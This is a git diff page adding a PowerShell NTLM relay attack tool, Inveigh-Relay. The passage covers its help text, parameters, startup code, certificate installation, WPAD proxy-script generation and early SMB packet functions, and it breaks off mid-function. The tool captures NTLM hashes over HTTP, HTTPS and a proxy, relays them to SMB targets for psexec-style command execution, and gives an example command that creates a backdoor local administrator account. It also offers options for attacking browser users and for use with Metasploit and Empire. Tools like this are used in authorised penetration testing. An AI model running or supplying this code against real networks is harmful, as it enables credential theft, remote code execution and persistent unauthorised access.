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Diffstat (limited to 'Inveigh-Relay.ps1')
| -rw-r--r-- | Inveigh-Relay.ps1 | 4677 |
1 files changed, 4677 insertions, 0 deletions
diff --git a/Inveigh-Relay.ps1 b/Inveigh-Relay.ps1 new file mode 100644 index 0000000..49c5629 --- /dev/null +++ b/Inveigh-Relay.ps1 @@ -0,0 +1,4677 @@ +function Invoke-InveighRelay +{ +<# +.SYNOPSIS +Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. + +.DESCRIPTION +Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB1/SMB2 relay with psexec style command execution. + + HTTP/HTTPS to SMB NTLMv2 relay with granular control + Supports SMB1 and SMB2 targets + Does not require priveleged access on the Invoke-InveighRelay host + The Invoke-InveighRelay host can be targeted for privilege escalation + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS + Granular control of console and file output + +.PARAMETER Attack +Default = Execute: (Execute/Session) Attack to perform with relay. Execute performs PSExec style command execution. +Session creates and maintains autneticated SMB sessions that can be interacted with through Invoke-TheHash's +Invoke-SMBClient and Invoke-SMBExec. + +.PARAMETER Challenge +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be +pulled from the SMB relay target. + +.PARAMETER Command +Command to execute on SMB relay target. Use PowerShell character escapes where necessary. + +.PARAMETER ConsoleOutput +Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a +shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. + +.PARAMETER ConsoleQueueLimit +Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. + +.PARAMETER ConsoleStatus +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for +displaying full capture lists when running through a shell that does not have access to the support functions. + +.PARAMETER ConsoleUnique +Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time console output is enabled. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER FileOutputDirectory +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be +enabled. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: IP address for the HTTP/HTTPS listener. + +.PARAMETER HTTPPort +Default = 80: TCP port for the HTTP listener. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in +the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires +local administrator access. + +.PARAMETER HTTPSPort +Default = 443: TCP port for the HTTPS listener. + +.PARAMETER HTTPSCertIssuer +Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSCertSubject +Default = localhost: The subject field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSForceCertDelete +Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and +HTTPSCertSubject. + +.PARAMETER HTTPResetDelay +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the +chance of capturing/relaying authentication through a popup box with some browsers (Firefox). + +.PARAMETER HTTPResetDelayTimeout +Default = 30 Seconds: HTTPResetDelay timeout in seconds. + +.PARAMETER LogOutput +Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER OutputStreamOnly +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if +running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the +various yellow warning messages if enabled. + +.PARAMETER ProxyRelay +Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8182: TCP port for the proxy listener. + +.PARAMETER ProxyIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly +with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is +cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting +-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by +closing and reopening. + +.PARAMETER RelayAutoDisable +Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on +target. + +.PARAMETER RelayAutoExit +Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. + +.PARAMETER RunTime +(Integer) Run time duration in minutes. + +.PARAMETER Service +Default = 20 Character Random: Name of the service to create and delete on the target. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER SMB1 +(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the +target. + +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER Target +IP address of system to target for SMB relay. + +.PARAMETER Tool +Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire + +.PARAMETER Username +Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and +domain\username format. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous/NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to +Anonymous can prevent browser login prompts. + +.PARAMETER WPADAuthIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login +popups for authenticated wpad.dat requests such as Firefox. + +.EXAMPLE +Invoke-Inveigh -HTTP N +Invoke-InveighRelay -Target 192.168.2.55 -Command "net user Inveigh Spring2017 /add && net localgroup administrators Inveigh /add" + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +# Parameter default values can be modified in this section: +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", + [parameter(Mandatory=$false)][Array]$Username = "", + [parameter(Mandatory=$false)][Array]$UsernameAlwaysAllow = "Administrator", + [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "", + [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$HTTPPort = "80", + [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$false)][Int]$SessionLimit = "2", + [parameter(Mandatory=$false)][Int]$SessionRefresh = "10", + [parameter(Mandatory=$false)][Object]$Source, + [parameter(Mandatory=$false)][String]$Command = "", + [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", + [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$true)][Array]$Target = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SessionPriority = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SigningCheck = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Session","Execute")][String]$Attack = "Execute", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][Switch]$SMB1, + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + Write-Output "[-] $($invalid_parameter) is not a valid parameter." + throw +} + +$inveigh_version = "1.4 Dev" + +if($ProxyIP -eq '0.0.0.0') +{ + $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if($Attack -eq 'Execute' -and !$Command) +{ + Write-Output "[-] -Command requiried with -Attack Execute" + throw +} + +if(!$FileOutputDirectory) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $FileOutputDirectory +} + +if(!$inveigh) +{ + $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList + $inveigh.relay_list = New-Object System.Collections.ArrayList + $inveigh.relay_user_failed_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_list = New-Object System.Collections.ArrayList + $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList + $inveigh.DNS_list = New-Object System.Collections.ArrayList + $inveigh.session_list = @() + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 +} + +if($inveigh.relay_running) +{ + Write-Output "[-] Inveigh Relay is already running" + throw +} + +if(!$inveigh.running) +{ + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList + $inveigh.console_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList + $inveigh.log_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.output_queue = New-Object System.Collections.ArrayList + $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.console_input = $true + $inveigh.console_output = $false + $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false + $inveigh.log_output = $true + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" + $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" + $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" + $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" + $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" +} + +$inveigh.target_list = New-Object System.Collections.ArrayList + +ForEach($target_entry in $Target) +{ + $inveigh.target_list.Add($target_entry) > $null +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + +} + +$inveigh.relay_running = $true +$inveigh.SMB_relay = $true + +if($StatusOutput -eq 'Y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'Y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "" + $LogOutput = "N" + $ShowHelp = "N" + + switch ($ConsoleOutput) + { + + 'Low' + { + $ConsoleOutput = "Low" + } + + 'Medium' + { + $ConsoleOutput = "Medium" + } + + default + { + $ConsoleOutput = "Y" + } + + } + +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + +# Write startup messages +$inveigh.output_queue.Add("[*] Inveigh Relay $inveigh_version started at $(Get-Date -format s)") > $null + +if($firewall_status) +{ + $inveigh.output_queue.Add("[!] Windows Firewall = Enabled") > $null +} + +if($HTTP -eq 'Y') +{ + + if($HTTP_port_check) + { + $HTTP = "N" + $inveigh.output_queue.Add("[+] HTTP Capture/Relay Disabled Due To In Use Port $HTTPPort") > $null + } + else + { + $inveigh.output_queue.Add("[+] HTTP Capture/Relay = Enabled") > $null + + if($HTTPIP) + { + $inveigh.output_queue.Add("[+] HTTP IP Address = $HTTPIP") > $null + } + + if($HTTPPort -ne 80) + { + $inveigh.output_queue.Add("[+] HTTP Port = $HTTPPort") > $null + } + } + +} +else +{ + $inveigh.output_queue.Add("[+] HTTP Capture/Relay = Disabled") > $null +} + +if($HTTPS -eq 'Y') +{ + + if($HTTPS_port_check) + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.output_queue.Add("[-] HTTPS Capture/Relay Disabled Due To In Use Port $HTTPSPort") > $null + } + else + { + + try + { + $inveigh.certificate_issuer = $HTTPSCertIssuer + $inveigh.certificate_CN = $HTTPSCertSubject + $inveigh.output_queue.Add("[+] HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.output_queue.Add("[+] HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + + if(!$certificate_check) + { + # credit to subTee for cert creation code from Interceptor + $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" + $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" + $certificate_key.KeySpec = 2 + $certificate_key.Length = 2048 + $certificate_key.MachineContext = 1 + $certificate_key.Create() + $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" + $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" + $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) + $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $certificate.InitializeFromPrivateKey(2,$certificate_key,"") + $certificate.Subject = $certificate_distinguished_name + $certificate.Issuer = $certificate_issuer_distinguished_name + $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotAfter = $certificate.NotBefore.AddDays(824) + $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId + $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") + $certificate.HashAlgorithm = $certificate_hash_algorithm_OID + $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) + $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $certificate_basic_constraints.InitializeEncode("true",1) + $certificate.X509Extensions.Add($certificate_basic_constraints) + $certificate.Encode() + $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $certificate_enrollment.InitializeFromRequest($certificate) + $certificate_data = $certificate_enrollment.CreateRequest(0) + $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + $inveigh.HTTPS = $true + $inveigh.output_queue.Add("[+] HTTPS Capture/Relay = Enabled") > $null + } + else + { + + if($HTTPSForceCertDelete -eq 'Y') + { + $inveigh.HTTPS_force_certificate_delete = $true + } + + $inveigh.HTTPS_existing_certificate = $true + $inveigh.output_queue.Add("[+] HTTPS Capture = Using Existing Certificate") > $null + } + + } + catch + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.output_queue.Add("[-] HTTPS Capture/Relay Disabled Due To Certificate Error") > $null + } + + } + +} +else +{ + $inveigh.output_queue.Add("[+] HTTPS Capture/Relay = Disabled") > $null +} + +if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') +{ + + if($Challenge) + { + $inveigh.output_queue.Add("[+] NTLM Challenge = $Challenge") > $null + } + + if($MachineAccounts -eq 'N') + { + $inveigh.output_queue.Add("[+] Machine Account Capture = Disabled") > $null + $inveigh.machine_accounts = $false + } + else + { + $inveigh.machine_accounts = $true + } + + $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null + + if($WPADAuth -eq "NTLM") + { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) + + if($WPADAuthIgnore.Count -gt 0) + { + $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + } + + } + + $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) + + if($HTTPResetDelay.Count -gt 0) + { + $inveigh.output_queue.Add("[+] HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null + $inveigh.output_queue.Add("[+] HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null + } + +} + +if($Proxy -eq 'Y') +{ + + if($proxy_port_check) + { + $HTTP = "N" + $inveigh.output_queue.Add("[+] Proxy Capture/Relay Disabled Due To In Use Port $ProxyPort") > $null + } + else + { + $inveigh.output_queue.Add("[+] Proxy Capture/Relay = Enabled") > $null + $inveigh.output_queue.Add("[+] Proxy Port = $ProxyPort") > $null + $ProxyPortFailover = $ProxyPort + 1 + $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_WPAD_IP`:$ProxyPortFailover; DIRECT`";}" + $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) + + if($ProxyIgnore.Count -gt 0) + { + $inveigh.output_queue.Add("[+] Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + } + + } + +} + +if($Target.Count -eq 1) +{ + $inveigh.output_queue.Add("[+] Relay Target = " + ($Target -join ",")) > $null +} +else +{ + $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target -join ",")) > $null +} + +if($Username) +{ + + if($Username.Count -eq 1) + { + $inveigh.output_queue.Add("[+] Relay Username = " + ($Username -join ",")) > $null + } + else + { + $inveigh.output_queue.Add("[+] Relay Usernames = " + ($Username -join ",")) > $null + } + +} + +if($RelayAutoDisable -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Relay Auto Disable = Enabled") > $null +} +else +{ + $inveigh.output_queue.Add("[+] Relay Auto Disable = Disabled") > $null +} + +if($RelayAutoExit -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Relay Auto Exit = Enabled") > $null +} +else +{ + $inveigh.output_queue.Add("[+] Relay Auto Exit = Disabled") > $null +} + +if($Service) +{ + $inveigh.output_queue.Add("[+] Relay Service = $Service") > $null +} + +if($SMB1) +{ + $inveigh.output_queue.Add("[+] SMB Version = SMB1") > $null + $SMB_version = 'SMB1' +} + +if($ConsoleOutput -ne 'N') +{ + + if($ConsoleOutput -eq 'Y') + { + $inveigh.output_queue.Add("[+] Real Time Console Output = Enabled") > $null + } + else + { + $inveigh.output_queue.Add("[+] Real Time Console Output = $ConsoleOutput") > $null + } + + $inveigh.console_output = $true + + if($ConsoleStatus -eq 1) + { + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minute") > $null + } + elseif($ConsoleStatus -gt 1) + { + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minutes") > $null + } + +} +else +{ + + if($inveigh.tool -eq 1) + { + $inveigh.output_queue.Add("[!] Real Time Console Output Disabled Due To External Tool Selection") > $null + } + else + { + $inveigh.output_queue.Add("[+] Real Time Console Output = Disabled") > $null + } + +} + +if($ConsoleUnique -eq 'Y') +{ + $inveigh.console_unique = $true +} +else +{ + $inveigh.console_unique = $false +} + +if($FileOutput -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Real Time File Output = Enabled") > $null + $inveigh.output_queue.Add("[+] Output Directory = $output_directory") > $null + $inveigh.file_output = $true +} +else +{ + $inveigh.output_queue.Add("[+] Real Time File Output = Disabled") > $null +} + +if($FileUnique -eq 'Y') +{ + $inveigh.file_unique = $true +} +else +{ + $inveigh.file_unique = $false +} + +if($LogOutput -eq 'Y') +{ + $inveigh.log_output = $true +} +else +{ + $inveigh.log_output = $false +} + +if($RunTime -eq 1) +{ + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minute") > $null +} +elseif($RunTime -gt 1) +{ + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minutes") > $null +} + +if($ShowHelp -eq 'Y') +{ + $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop Inveigh-Relay") > $null + + if($inveigh.console_output) + { + $inveigh.output_queue.Add("[*] Press any key to stop real time console output") > $null + } + +} + +while($inveigh.output_queue.Count -gt 0) +{ + + switch -Wildcard ($inveigh.output_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + + if($inveigh.status_output -and $inveigh.output_stream_only) + { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) + { + Write-Warning($inveigh.output_queue[0]) + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + default + { + + if($inveigh.status_output -and $inveigh.output_stream_only) + { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) + { + Write-Output($inveigh.output_queue[0]) + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + } + +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + + function DataLength2 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + function DataLength4 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) + return $string_length + } + + function DataToString + { + param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + +} + +# Packet Functions ScriptBlock +$packet_functions_scriptblock = +{ + function ConvertFrom-PacketOrderedDictionary + { + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + #NetBIOS + + function New-PacketNetBIOSSessionService + { + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService + } + + #SMB1 + + function New-PacketSMBHeader + { + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("Command",$packet_command) + $packet_SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Flags",$packet_flags) + $packet_SMBHeader.Add("Flags2",$packet_flags2) + $packet_SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("UserID",$packet_user_ID) + $packet_SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader + } + + function New-PacketSMBNegotiateProtocolRequest + { + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + 